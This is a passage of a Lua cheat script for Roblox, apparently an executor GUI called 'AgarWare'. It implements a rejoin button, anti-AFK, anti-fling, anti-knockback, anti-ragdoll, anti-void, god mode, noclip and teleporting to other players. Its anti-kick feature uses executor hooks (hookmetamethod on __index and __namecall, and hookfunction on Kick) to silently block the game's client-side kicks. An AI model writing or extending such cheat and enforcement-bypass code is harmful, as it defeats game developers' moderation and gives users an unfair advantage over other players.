if text == "inf" or text == "infinity" or text == "" then return end
local num = tonumber(GravityChanger.Text)
if num == nil then
GravityChanger.Text = ""
end
end)
end
LocalPlayer.CharacterAdded:Connect(function(character)
character:WaitForChild("Humanoid")
if gravityFeature and gravityFeature.isEnabled() then
workspace.Gravity = getGravity()
end
end)
end
-- ============================================================
-- ADD NEW FEATURES HERE - USE THESE TEMPLATES:
-- ============================================================
--[[
TICKBOX TEMPLATE:
setupTickBox({
row = "YourRow",
tickBox = "YourTickBox",
tooltip = "What this feature does",
onEnable = function()
-- Runs once when enabled
end,
onDisable = function()
-- Runs once when disabled
end,
loop = function()
-- Runs every frame while enabled
end
})
================================================================================
BUTTON TEMPLATE:
setupButton({
row = "YourRow",
button = "YourButton",
tooltip = "What this button does", -- Optional
onClick = function()
-- Runs when clicked
end
})
================================================================================
]]
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
for _, feature in pairs(activeFeatures) do
if feature.tooltip then
feature.tooltip:Destroy()
end
if feature.disable then
feature.disable()
end
end
end
end)
end;
task.spawn(C_35);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RejoinRow.RejoinScript
local function C_3b()
local script = G2L["3b"];
local Players = game:GetService("Players")
local TeleportService = game:GetService("TeleportService")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
local RejoinRow = script.Parent
local RejoinButton = RejoinRow.RejoinButton
local HOLD_TIME = 1
local GREY = Color3.fromRGB(80, 80, 80)
local WHITE = Color3.new(1, 1, 1)
-- Wait for GUI to be fully loaded
if not game:IsLoaded() then
game.Loaded:Wait()
end
-- Clear the button's default text
RejoinButton.Text = ""
local fillBar = Instance.new("Frame")
fillBar.Name = "FillBar"
fillBar.Size = UDim2.new(0, 0, 1, 0)
fillBar.Position = UDim2.new(0, 0, 0, 0)
fillBar.BackgroundColor3 = GREY
fillBar.BorderSizePixel = 0
fillBar.ZIndex = 1
fillBar.Parent = RejoinButton
local btnLabel = Instance.new("TextLabel")
btnLabel.Name = "BtnLabel"
btnLabel.Size = UDim2.new(1, 0, 1, 0)
btnLabel.Position = UDim2.new(0, 0, 0, 0)
btnLabel.BackgroundTransparency = 1
btnLabel.Text = "Rejoin Server"
btnLabel.TextColor3 = WHITE
btnLabel.TextSize = 14
btnLabel.Font = Enum.Font.Code
btnLabel.ZIndex = 2
btnLabel.Parent = RejoinButton
local holding = false
local progress = 0
local connection = nil
local function rejoin()
TeleportService:TeleportToPlaceInstance(game.PlaceId, game.JobId, LocalPlayer)
end
local function stopHold()
holding = false
if connection then
connection:Disconnect()
connection = nil
end
progress = 0
fillBar.Size = UDim2.new(0, 0, 1, 0)
fillBar.BackgroundColor3 = GREY
btnLabel.Text = "Rejoin Server"
btnLabel.TextColor3 = WHITE
end
RejoinButton.MouseButton1Down:Connect(function()
holding = true
progress = 0
btnLabel.Text = "Hold to Rejoin..."
fillBar.BackgroundColor3 = GREY
connection = RunService.RenderStepped:Connect(function(dt)
if not holding then return end
progress = progress + (dt / HOLD_TIME)
progress = math.clamp(progress, 0, 1)
fillBar.Size = UDim2.new(progress, 0, 1, 0)
if progress >= 1 then
btnLabel.Text = "Rejoining..."
stopHold()
task.wait(0.1)
rejoin()
end
end)
end)
RejoinButton.MouseButton1Up:Connect(function()
stopHold()
end)
RejoinButton.MouseLeave:Connect(function()
stopHold()
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
if connection then connection:Disconnect() end
end
end)
end;
task.spawn(C_3b);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiScript
local function C_4a()
local script = G2L["4a"];
-- ============================================================
-- ANTI GROUP MASTER SCRIPT
-- Place this script directly under AntiGroup
-- Handles: Minimize, AntiAfk, AntiFling, AntiKB, AntiKick, AntiRagdoll, AntiVoid
-- ============================================================
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
local AntiGroup = script.Parent
local AntiMinimize = AntiGroup.AntiTitle.AntiMinimize
local AntiAccentColor = AntiGroup:FindFirstChild("AntiAccentColor")
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = AntiGroup
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
return game:GetService("CoreGui")
end
-- ============================================================
-- TOOLTIP CREATOR
-- ============================================================
local function createTooltip(name, text, parent)
local frame = Instance.new("Frame")
frame.Name = name
frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
frame.BorderSizePixel = 0
frame.ZIndex = 100
frame.AutomaticSize = Enum.AutomaticSize.Y
frame.Size = UDim2.new(0, 212, 0, 0)
frame.Visible = false
frame.Parent = getScreenGui()
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57, 57, 57)
stroke.Thickness = 1
stroke.Parent = frame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
padding.Parent = frame
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0, 200, 0, 0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = frame
if parent then
parent.MouseEnter:Connect(function()
local abs = parent.AbsolutePosition
local size = parent.AbsoluteSize
frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
frame.Visible = true
end)
parent.MouseLeave:Connect(function()
frame.Visible = false
end)
end
return frame
end
-- ============================================================
-- MINIMIZE FUNCTIONALITY
-- ============================================================
local function getRows()
local rows = {}
for _, child in ipairs(AntiGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = AntiGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
AntiMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
AntiGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
AntiMinimize.Text = "+"
else
AntiGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
AntiMinimize.Text = "-"
end
end)
-- ============================================================
-- TICKBOX FEATURE SETUP
-- ============================================================
local activeFeatures = {}
local function setupTickBox(config)
local rowName = config.row
local tickBoxName = config.tickBox
local tooltipText = config.tooltip
local onEnable = config.onEnable
local onDisable = config.onDisable
local loop = config.loop
local row = AntiGroup:FindFirstChild(rowName)
if not row then
warn("[AntiGroup] Row not found:", rowName)
return
end
local tickBox = row:FindFirstChild(tickBoxName)
if not tickBox then
warn("[AntiGroup] TickBox not found:", tickBoxName)
return
end
local isEnabled = false
local loopConnection = nil
tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
-- Create tooltip
local tooltip = createTooltip(tickBoxName .. "Tooltip", tooltipText, tickBox)
-- Enable function
local function enable()
isEnabled = true
if AntiAccentColor then
tickBox.BackgroundColor3 = AntiAccentColor.BackgroundColor3
else
tickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255)
end
if onEnable then
pcall(onEnable)
end
if loop then
loopConnection = RunService.Heartbeat:Connect(function()
if isEnabled then
pcall(loop)
end
end)
end
end
-- Disable function
local function disable()
isEnabled = false
tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
if loopConnection then
loopConnection:Disconnect()
loopConnection = nil
end
if onDisable then
pcall(onDisable)
end
end
-- Click handler
tickBox.MouseButton1Click:Connect(function()
if isEnabled then
disable()
else
enable()
end
end)
-- Store for cleanup
table.insert(activeFeatures, {
tooltip = tooltip,
disable = disable,
connection = loopConnection
})
return {
enable = enable,
disable = disable,
isEnabled = function() return isEnabled end
}
end
-- ============================================================
-- FEATURES START HERE
-- ============================================================
-- ANTI AFK
local afkTask = nil
setupTickBox({
row = "AntiAfkRow",
tickBox = "AntiAfkTickBox",
tooltip = "Prevents you from being kicked for being AFK",
onEnable = function()
afkTask = task.spawn(function()
while true do
local virtualUser = game:GetService("VirtualUser")
virtualUser:CaptureController()
virtualUser:ClickButton2(Vector2.new())
task.wait(60)
end
end)
end,
onDisable = function()
if afkTask then
task.cancel(afkTask)
afkTask = nil
end
end
})
-- ANTI FLING
local antiFlingConnection = nil
setupTickBox({
row = "AntiFlingRow",
tickBox = "AntiFlingTickBox",
tooltip = "Disables collision with other players",
onEnable = function()
-- Set all current players to no collide
for _, player in pairs(Players:GetPlayers()) do
if player ~= LocalPlayer and player.Character then
for _, part in pairs(player.Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = false
end
end
end
end
-- Use Stepped instead of Heartbeat for better anti-fling
if antiFlingConnection then
antiFlingConnection:Disconnect()
end
antiFlingConnection = RunService.Stepped:Connect(function()
for _, player in pairs(Players:GetPlayers()) do
if player ~= LocalPlayer and player.Character then
for _, part in pairs(player.Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = false
end
end
end
end
end)
end,
onDisable = function()
if antiFlingConnection then
antiFlingConnection:Disconnect()
antiFlingConnection = nil
end
-- Re-enable collision for all players
for _, player in pairs(Players:GetPlayers()) do
if player ~= LocalPlayer and player.Character then
for _, part in pairs(player.Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = true
end
end
end
end
end
})
-- ANTI KB
setupTickBox({
row = "AntiKBRow",
tickBox = "AntiKBTickBox",
tooltip = "Prevents your character from being knocked back. May not work in all games",
loop = function()
local character = LocalPlayer.Character
if not character then return end
local hrp = character:FindFirstChild("HumanoidRootPart")
if not hrp then return end
hrp.AssemblyLinearVelocity = Vector3.new(0, hrp.AssemblyLinearVelocity.Y, 0)
hrp.AssemblyAngularVelocity = Vector3.zero
end
})
-- ANTI KICK
local oldhmmi = nil
local oldhmmnc = nil
local oldKickFunction = nil
setupTickBox({
row = "AntiKickRow",
tickBox = "AntiKickTickBox",
tooltip = "Prevents the game from kicking you via LocalScript. Does not work on server-side kicks.",
onEnable = function()
if not hookmetamethod then return end
if hookfunction then
oldKickFunction = hookfunction(LocalPlayer.Kick, function() end)
end
oldhmmi = hookmetamethod(game, "__index", function(self, method)
if self == LocalPlayer and method:lower() == "kick" then
return error("Expected ':' not '.' calling member function Kick", 2)
end
return oldhmmi(self, method)
end)
oldhmmnc = hookmetamethod(game, "__namecall", function(self, ...)
if self == LocalPlayer and getnamecallmethod():lower() == "kick" then
return
end
return oldhmmnc(self, ...)
end)
end,
onDisable = function()
if oldKickFunction and hookfunction then
pcall(function()
hookfunction(LocalPlayer.Kick, oldKickFunction)
end)
oldKickFunction = nil
end
if oldhmmi and hookmetamethod then
pcall(function()
hookmetamethod(game, "__index", oldhmmi)
end)
oldhmmi = nil
end
if oldhmmnc and hookmetamethod then
pcall(function()
hookmetamethod(game, "__namecall", oldhmmnc)
end)
oldhmmnc = nil
end
end
})
-- ANTI RAGDOLL
setupTickBox({
row = "AntiRagdollRow",
tickBox = "AntiRagdollTickBox",
tooltip = "Prevents your character from ragdolling. May not work in all games",
onEnable = function()
local character = LocalPlayer.Character
if not character then return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll, false)
humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown, false)
end
end,
onDisable = function()
local character = LocalPlayer.Character
if not character then return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll, true)
humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown, true)
end
end,
loop = function()
local chr = LocalPlayer.Character
if not chr then return end
local hum = chr:FindFirstChildOfClass("Humanoid")
if not hum then return end
for _, part in pairs(chr:GetDescendants()) do
if part:IsA("BallSocketConstraint") or part:IsA("HingeConstraint") then
if part:FindFirstAncestorOfClass("Motor6D") == nil then
part.Enabled = false
end
end
end
if hum:GetState() == Enum.HumanoidStateType.Ragdoll or
hum:GetState() == Enum.HumanoidStateType.FallingDown then
hum:ChangeState(Enum.HumanoidStateType.GettingUp)
end
end
})
-- ANTI VOID
local originalDestroyHeight = workspace.FallenPartsDestroyHeight
local dhoffset = 5
local dhto = 25
local fpsdiv = 5
local connectsextra = {}
local charcframe = nil
local tpcframe = nil
local voidStopped = false
local voidSteppedConn = nil
local voidCharConn = nil
local function dochar(character)
coroutine.wrap(function()
repeat task.wait() until character:FindFirstChildWhichIsA("Humanoid")
local hum = character:FindFirstChildWhichIsA("Humanoid")
local state = hum:GetState()
table.insert(connectsextra, hum.StateChanged:Connect(function(old, new)
state = new
end))
local oldstate = nil
while hum ~= nil and hum.Parent ~= nil and not voidStopped do
task.wait()
if state ~= oldstate and (state ~= Enum.HumanoidStateType.Jumping and state ~= Enum.HumanoidStateType.Freefall)
or (state == Enum.HumanoidStateType.Running or state == Enum.HumanoidStateType.Landed) then
tpcframe = charcframe
end
oldstate = state
end
end)()
end
local function fixchar(character, part, destroyheightnew)
if character then
local piv = character:GetPivot()
character:PivotTo(CFrame.new(piv.Position.X, workspace.FallenPartsDestroyHeight + dhto + character:GetExtentsSize().Y, piv.Position.Z))
end
if part then
part.Velocity = Vector3.new(0, 0, 0)
if character then
for _, v in pairs(character:GetChildren()) do
if v:IsA("BasePart") then
v.Velocity = Vector3.new(0, 0, 0)
end
end
end
end
end
setupTickBox({
row = "AntiVoidRow",
tickBox = "AntiVoidTickBox",
tooltip = "Prevents your character from falling into the void",
onEnable = function()
voidStopped = false
workspace.FallenPartsDestroyHeight = -50000
local destroyheightnew = originalDestroyHeight + dhoffset
local character = LocalPlayer.Character
if character then
dochar(character)
end
voidCharConn = LocalPlayer.CharacterAdded:Connect(function(newCharacter)
dochar(newCharacter)
end)
voidSteppedConn = RunService.Stepped:Connect(function()
local chr = LocalPlayer.Character
if chr ~= nil and chr:FindFirstChildWhichIsA("BasePart") then
local part = chr:FindFirstChild("HumanoidRootPart") or chr:FindFirstChildWhichIsA("BasePart")
local cfr = (chr:FindFirstChild("HumanoidRootPart") and chr.HumanoidRootPart.CFrame) or chr:GetPivot()
charcframe = cfr
if cfr.Position.Y < destroyheightnew then
fixchar(chr, part, destroyheightnew)
end
local partvel = part.Velocity
if (partvel.Y / fpsdiv) + part.Position.Y < destroyheightnew then
fixchar(chr, part, destroyheightnew)
end
end
end)
end,
onDisable = function()
voidStopped = true
workspace.FallenPartsDestroyHeight = originalDestroyHeight
if voidSteppedConn then
voidSteppedConn:Disconnect()
voidSteppedConn = nil
end
if voidCharConn then
voidCharConn:Disconnect()
voidCharConn = nil
end
for _, v in pairs(connectsextra) do
v:Disconnect()
end
connectsextra = {}
end
})
-- ============================================================
-- ADD NEW FEATURES HERE - USE THIS TEMPLATE:
-- ============================================================
--[[
setupTickBox({
row = "YourRow",
tickBox = "YourTickBox",
tooltip = "What this feature does",
onEnable = function()
-- Runs once when enabled
end,
onDisable = function()
-- Runs once when disabled
end,
loop = function()
-- Runs every frame while enabled
end
})
]]
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
for _, feature in pairs(activeFeatures) do
if feature.tooltip then
feature.tooltip:Destroy()
end
if feature.disable then
feature.disable()
end
end
end
end)
end;
task.spawn(C_4a);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.CharacterScript
local function C_62()
local script = G2L["62"];
-- ============================================================
-- CHARACTER GROUP MASTER SCRIPT
-- Place this script directly under CharacterGroup
-- Handles: Minimize, FreezeAnim, GodMode, Noclip, TpPlayer, TpSpawn
-- ============================================================
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
local CharacterGroup = script.Parent
local CharacterMinimize = CharacterGroup.CharacterTitle.CharacterMinimize
local CharacterAccentColor = CharacterGroup:FindFirstChild("CharacterAccentColor")
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = CharacterGroup
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
return game:GetService("CoreGui")
end
-- ============================================================
-- TOOLTIP CREATOR
-- ============================================================
local function createTooltip(name, text, parent)
local frame = Instance.new("Frame")
frame.Name = name
frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
frame.BorderSizePixel = 0
frame.ZIndex = 100
frame.AutomaticSize = Enum.AutomaticSize.Y
frame.Size = UDim2.new(0, 212, 0, 0)
frame.Visible = false
frame.Parent = getScreenGui()
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57, 57, 57)
stroke.Thickness = 1
stroke.Parent = frame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
padding.Parent = frame
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0, 200, 0, 0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = frame
if parent then
parent.MouseEnter:Connect(function()
local abs = parent.AbsolutePosition
local size = parent.AbsoluteSize
frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
frame.Visible = true
end)
parent.MouseLeave:Connect(function()
frame.Visible = false
end)
end
return frame
end
-- ============================================================
-- MINIMIZE FUNCTIONALITY
-- ============================================================
local function getRows()
local rows = {}
for _, child in ipairs(CharacterGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = CharacterGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
CharacterMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
CharacterGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
CharacterMinimize.Text = "+"
else
CharacterGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
CharacterMinimize.Text = "-"
end
end)
-- ============================================================
-- TICKBOX FEATURE SETUP
-- ============================================================
local activeFeatures = {}
local function setupTickBox(config)
local rowName = config.row
local tickBoxName = config.tickBox
local tooltipText = config.tooltip
local onEnable = config.onEnable
local onDisable = config.onDisable
local loop = config.loop
local row = CharacterGroup:FindFirstChild(rowName)
if not row then
warn("[CharacterGroup] Row not found:", rowName)
return
end
local tickBox = row:FindFirstChild(tickBoxName)
if not tickBox then
warn("[CharacterGroup] TickBox not found:", tickBoxName)
return
end
local isEnabled = false
local loopConnection = nil
tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
-- Create tooltip
local tooltip = createTooltip(tickBoxName .. "Tooltip", tooltipText, tickBox)
-- Enable function
local function enable()
isEnabled = true
if CharacterAccentColor then
tickBox.BackgroundColor3 = CharacterAccentColor.BackgroundColor3
else
tickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255)
end
if onEnable then
pcall(onEnable)
end
if loop then
loopConnection = RunService.Heartbeat:Connect(function()
if isEnabled then
pcall(loop)
end
end)
end
end
-- Disable function
local function disable()
isEnabled = false
tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
if loopConnection then
loopConnection:Disconnect()
loopConnection = nil
end
if onDisable then
pcall(onDisable)
end
end
-- Click handler
tickBox.MouseButton1Click:Connect(function()
if isEnabled then
disable()
else
enable()
end
end)
-- Store for cleanup
table.insert(activeFeatures, {
tooltip = tooltip,
disable = disable,
connection = loopConnection
})
return {
enable = enable,
disable = disable,
isEnabled = function() return isEnabled end
}
end
-- ============================================================
-- BUTTON FEATURE SETUP
-- ============================================================
local function setupButton(config)
local rowName = config.row
local buttonName = config.button
local tooltipText = config.tooltip
local onClick = config.onClick
local row = CharacterGroup:FindFirstChild(rowName)
if not row then
warn("[CharacterGroup] Row not found:", rowName)
return
end
local button = row:FindFirstChild(buttonName)
if not button then
warn("[CharacterGroup] Button not found:", buttonName)
return
end
-- Create tooltip if provided
if tooltipText then
local tooltip = createTooltip(buttonName .. "Tooltip", tooltipText, button)
table.insert(activeFeatures, {tooltip = tooltip})
end
-- Click handler
button.MouseButton1Click:Connect(function()
if onClick then
pcall(onClick)
end
end)
end
-- ============================================================
-- FEATURES START HERE
-- ============================================================
-- FREEZE ANIM
setupTickBox({
row = "FreezeAnimRow",
tickBox = "FreezeAnimTickBox",
tooltip = "Freezes your character animation in its current pose",
onEnable = function()
local character = LocalPlayer.Character
if not character then return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid then return end
local animate = character:FindFirstChild("Animate")
if animate then
animate.Disabled = true
end
for _, track in pairs(humanoid:GetPlayingAnimationTracks()) do
track:AdjustSpeed(0)
end
end,
onDisable = function()
local character = LocalPlayer.Character
if not character then return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid then return end
local animate = character:FindFirstChild("Animate")
if animate then
animate.Disabled = false
end
for _, track in pairs(humanoid:GetPlayingAnimationTracks()) do
track:AdjustSpeed(1)
end
end
})
-- GOD MODE
local godConnections = {}
setupTickBox({
row = "GodModeRow",
tickBox = "GodModeTickBox",
tooltip = "Makes your character invincible. May not work in all games",
onEnable = function()
for _, conn in pairs(godConnections) do
if conn then conn:Disconnect() end
end
godConnections = {}
local character = LocalPlayer.Character
if not character then return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid then return end
humanoid.MaxHealth = math.huge
humanoid.Health = math.huge
table.insert(godConnections, RunService.RenderStepped:Connect(function()
if shared.GodModePaused then return end
if humanoid and humanoid.Parent then
humanoid.MaxHealth = math.huge
humanoid.Health = math.huge
end
end))
table.insert(godConnections, humanoid:GetPropertyChangedSignal("Health"):Connect(function()
if humanoid and humanoid.Parent then
if humanoid.Health < math.huge then
humanoid.MaxHealth = math.huge
humanoid.Health = math.huge
end
end
end))
table.insert(godConnections, humanoid.Died:Connect(function()
task.wait()
humanoid.Health = math.huge
end))
end,
onDisable = function()
for _, conn in pairs(godConnections) do
if conn then conn:Disconnect() end
end
godConnections = {}
task.wait()
local character = LocalPlayer.Character
if character then
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid.MaxHealth = 100
task.wait()
humanoid.Health = 100
end
end
end
})
LocalPlayer.CharacterAdded:Connect(function(character)
-- Re-enable god mode on respawn if it was enabled
task.wait(0.1)
-- The setupTickBox will handle this via its internal state
end)
-- NOCLIP
local nocollideParts = {"Head", "Left Arm", "Right Arm", "LeftHand", "RightHand", "LeftLowerArm", "RightLowerArm", "LeftUpperArm", "RightUpperArm"}
local function setCollisionDefaults()
local character = LocalPlayer.Character
if not character then return end
for _, part in pairs(character:GetChildren()) do
if part:IsA("BasePart") then
local shouldCollide = true
for _, name in pairs(nocollideParts) do
if part.Name == name then
shouldCollide = false
break
end
end
part.CanCollide = shouldCollide
end
end
end
setupTickBox({
row = "NoclipRow",
tickBox = "NoclipTickBox",
tooltip = "Allows your character to walk through walls",
onDisable = function()
setCollisionDefaults()
local character = LocalPlayer.Character
if character then
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid:ChangeState(Enum.HumanoidStateType.GettingUp)
end
end
end,
loop = function()
local character = LocalPlayer.Character
if not character then return end
for _, part in pairs(character:GetChildren()) do
if part:IsA("BasePart") then
part.CanCollide = false
end
end
end
})
-- TP PLAYER (Button)
setupButton({
row = "TpPlayerRow2",
button = "TpPlayerButton",
onClick = function()
local TpPlayerRow1 = CharacterGroup:FindFirstChild("TpPlayerRow1")
if not TpPlayerRow1 then return end
local selectedName = TpPlayerRow1:GetAttribute("SelectedPlayer")
if not selectedName or selectedName == "" then return end
local targetPlayer = Players:FindFirstChild(selectedName)
if not targetPlayer then return end
local targetCharacter = targetPlayer.Character
if not targetCharacter then return end
local targetHRP = targetCharacter:FindFirstChild("HumanoidRootPart")
if not targetHRP then return end
local myCharacter = LocalPlayer.Character
if not myCharacter then return end
local myHRP = myCharacter:FindFirstChild("HumanoidRootPart")
if not myHRP then return end
myHRP.CFrame = targetHRP.CFrame + Vector3.new(0, 3, 0)
end
})
-- TP SPAWN (Button)
setupButton({
row = "TpSpawnRow",
button = "TpSpawnButton",
onClick = function()
local character = LocalPlayer.Character
if not character then return end
local humanoidRootPart = character:FindFirstChild("HumanoidRootPart")
if not humanoidRootPart then return end
local spawnLocation = workspace:FindFirstChildOfClass("SpawnLocation")
if spawnLocation then
humanoidRootPart.CFrame = CFrame.new(spawnLocation.Position + Vector3.new(0, 5, 0))
else
humanoidRootPart.CFrame = CFrame.new(0, 5, 0)
end
end
})
-- ============================================================
-- ADD NEW FEATURES HERE - USE THESE TEMPLATES:
-- ============================================================
--[[
TICKBOX TEMPLATE:
setupTickBox({
row = "YourRow",
tickBox = "YourTickBox",
tooltip = "What this feature does",
onEnable = function()
-- Runs once when enabled
end,
onDisable = function()
-- Runs once when disabled
end,
loop = function()
-- Runs every frame while enabled
end
})
================================================================================
BUTTON TEMPLATE:
setupButton({
row = "YourRow",
button = "YourButton",
tooltip = "What this button does", -- Optional
onClick = function()
-- Runs when clicked
end
})
================================================================================
]]
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
for _, feature in pairs(activeFeatures) do
if feature.tooltip then
feature.tooltip:Destroy()
end
if feature.disable then
feature.disable()
end
end
end
end)
end;
task.spawn(C_62);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow1.TpPlayerScript
local function C_76()
local script = G2L["76"];
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
local TpPlayerRow1 = script.Parent
local TpPlayerDropdown = TpPlayerRow1.TpPlayerDropdown
local CharacterGroup = TpPlayerRow1.Parent
local selectedPlayer = nil
local isOpen = false
local showDisplay = false
local showFriends = false
local friendsList = {}
local ROW_HEIGHT = 16
local MAX_ROWS = 7
local BG = Color3.fromRGB(24, 24, 24)
local BORDER = Color3.fromRGB(57, 57, 57)
local WHITE = Color3.new(1, 1, 1)
local DIM = Color3.fromRGB(120, 120, 120)
local BLUE = Color3.fromRGB(0, 123, 255)
local HOVER = Color3.fromRGB(36, 36, 36)
local BTN_BG = Color3.fromRGB(36, 36, 36)
-- Wait for GUI to be fully loaded
if not game:IsLoaded() then
game.Loaded:Wait()
end
-- Wait for the dropdown to be fully positioned
repeat
task.wait()
until TpPlayerDropdown.AbsoluteSize.X > 0
local mainLabel = Instance.new("TextLabel")
mainLabel.Name = "MainLabel"
mainLabel.Size = UDim2.new(1, -24, 1, 0)
mainLabel.Position = UDim2.new(0, 0, 0, 0)
mainLabel.BackgroundTransparency = 1
mainLabel.Text = "Select Player"
mainLabel.TextColor3 = WHITE
mainLabel.TextSize = 14
mainLabel.Font = Enum.Font.Code
mainLabel.TextXAlignment = Enum.TextXAlignment.Center
mainLabel.TextTruncate = Enum.TextTruncate.AtEnd
mainLabel.ZIndex = 2
mainLabel.Parent = TpPlayerDropdown
local mainArrow = Instance.new("TextLabel")
mainArrow.Name = "MainArrow"
mainArrow.Size = UDim2.new(0, 24, 1, 0)
mainArrow.Position = UDim2.new(1, -24, 0, 0)
mainArrow.BackgroundTransparency = 1
mainArrow.Text = "▼"
mainArrow.TextColor3 = WHITE
mainArrow.TextSize = 14
mainArrow.Font = Enum.Font.Code
mainArrow.TextXAlignment = Enum.TextXAlignment.Center
mainArrow.ZIndex = 2
mainArrow.Parent = TpPlayerDropdown
local function getScreenGui()
local parent = TpPlayerRow1
while parent do
if parent:IsA("ScreenGui") then return parent end
parent = parent.Parent
end
end
local BOTTOM_BAR_HEIGHT = ROW_HEIGHT + 2
local panel = Instance.new("Frame")
panel.Name = "DropdownPanel"
panel.BackgroundColor3 = BG
panel.BorderSizePixel = 0
panel.Size = UDim2.new(0, 161, 0, ROW_HEIGHT)
panel.ZIndex = 999
panel.Visible = false
panel.Parent = getScreenGui()
local panelStroke = Instance.new("UIStroke")
panelStroke.Color = BORDER
panelStroke.Thickness = 1
panelStroke.Parent = panel
local searchBox = Instance.new("TextBox")
searchBox.Size = UDim2.new(1, 0, 0, ROW_HEIGHT)
searchBox.Position = UDim2.new(0, 0, 0, 0)
searchBox.BackgroundColor3 = BG
searchBox.BorderSizePixel = 0
searchBox.Text = ""
searchBox.PlaceholderText = "Search for users..."
searchBox.PlaceholderColor3 = DIM
searchBox.TextColor3 = WHITE
searchBox.TextSize = 14
searchBox.Font = Enum.Font.Code
searchBox.TextXAlignment = Enum.TextXAlignment.Left
searchBox.ClearTextOnFocus = false
searchBox.ZIndex = 1000
searchBox.Parent = panel
local searchPad = Instance.new("UIPadding")
searchPad.PaddingLeft = UDim.new(0, 6)
searchPad.PaddingRight = UDim.new(0, 24)
searchPad.Parent = searchBox
local searchArrow = Instance.new("TextButton")
searchArrow.Size = UDim2.new(0, 24, 0, ROW_HEIGHT)
searchArrow.Position = UDim2.new(1, -24, 0, 0)
searchArrow.BackgroundTransparency = 1
searchArrow.Text = "▲"
searchArrow.TextColor3 = WHITE
searchArrow.TextSize = 14
